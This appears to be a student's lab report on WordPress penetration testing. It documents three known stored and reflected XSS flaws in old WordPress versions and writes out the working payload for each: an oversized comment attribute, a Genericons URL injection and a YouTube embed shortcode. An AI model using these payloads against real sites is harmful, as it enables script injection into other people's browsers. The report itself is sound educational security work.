Project 7 - WordPress Pentesting

Time spent: 10 hours spent in total

Objective: Find, analyze, recreate, and document 3 vulnerabilities affecting an old version of WordPress

Pentesting Report

1. (Required) WordPress <= 4.2 - Unauthenticated Stored Cross-Site Scripting (XSS)

• Summary:
  • Vulnerability types:XSS
  • Tested in version:4.2
  • Fixed in version:4.2.1
• GIF Walkthrough:
• Steps to recreate:
  • Login as Guest
  • Go on any post down to comment section
  • post <a title='x onmouseover=alert(2) style=position:absolute;left:0;top:0;width:5000px;height:5000px AAAAAAAAAAAA...[64 kb]..AAA'></a>
  • Beware the "A" needs to be 64kbs and over, in order to work.
  • Need admin comment approval.

2. (Required) WordPress 4.1-4.2.1 - Unauthenticated Genericons Cross-Site Scripting (XSS)

• Summary:
  • Vulnerability types:XSS
  • Tested in version:4.2
  • Fixed in version: 4.2.2
• GIF Walkthrough:
• Steps to recreate: first Login as admin next Create new post then Post http://www.example.com/wp-content/themes/twentyfifteen/genericons/example.html#1<img/ src=1 onerror= alert('hello')> last Publish and view the post.

3. (Required)WordPress 4.0-4.7.2 - Authenticated Stored Cross-Site Scripting (XSS) in YouTube URL Embeds

• Summary:
  • Vulnerability types:XSS
  • Tested in version:4.0
  • Fixed in version:4.7.2
• GIF Walkthrough:
• Steps to recreate: first Login as admin next Create new post then Post [embed src='https://www.youtube.com/embed/12345\x3csvg onload=alert("Hello")\x3e'][/embed] last Publish and view the page

Assets

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Resources

• WordPress Source Browser
• WordPress Developer Reference

GIFs created with LiceCap.

Notes

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License

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